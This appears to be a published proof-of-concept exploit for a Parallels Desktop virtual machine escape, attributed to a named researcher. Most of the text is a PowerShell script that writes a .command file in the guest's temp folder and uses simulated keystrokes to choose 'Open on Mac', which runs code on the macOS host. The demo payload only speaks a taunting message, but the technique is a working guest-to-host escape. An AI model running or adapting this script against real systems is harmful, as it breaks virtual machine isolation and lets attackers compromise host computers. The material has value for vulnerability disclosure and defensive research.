Parallels Desktop – Virtual Machine Escape
#[+] Title: Parallels Desktop - Virtual Machine Escape #[+] Product: Parallels #[+] Vendor: http://www.parallels.com/products/desktop/ #[+] Affected Versions: All Version # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/reza.espargham # Github : github.com/rezasp # youtube : https://youtu.be/_nZ4y0ZTrwA # # #There is a security issue in the shared folder implementation in Parallels Desktop #DLL : PrlToolsShellExt.dll 10.2.0 (28956) #prl_tg Driver #Very simple exploit with powershell #powershell.exe poc.ps1 #Write OSX Executable file in temp [io.file]::WriteAllText($env:temp + '\r3z4.command',"Say 'You are hacked by 1337'") add-type -AssemblyName microsoft.VisualBasic add-type -AssemblyName System.Windows.Forms #open temp in explorer explorer $env:temp #wait for 500 miliseconds start-sleep -Milliseconds 500 #select Temp active window [Microsoft.VisualBasic.Interaction]::AppActivate("Temp") #find r3z4.command file [System.Windows.Forms.SendKeys]::SendWait("r3z4") #right click [System.Windows.Forms.SendKeys]::SendWait("+({F10})") #goto "Open on Mac" in menu [System.Windows.Forms.SendKeys]::SendWait("{DOWN}") [System.Windows.Forms.SendKeys]::SendWait("{DOWN}") [System.Windows.Forms.SendKeys]::SendWait("{DOWN}") #Click Enter [System.Windows.Forms.SendKeys]::SendWait("~") #Enjoy ;)s |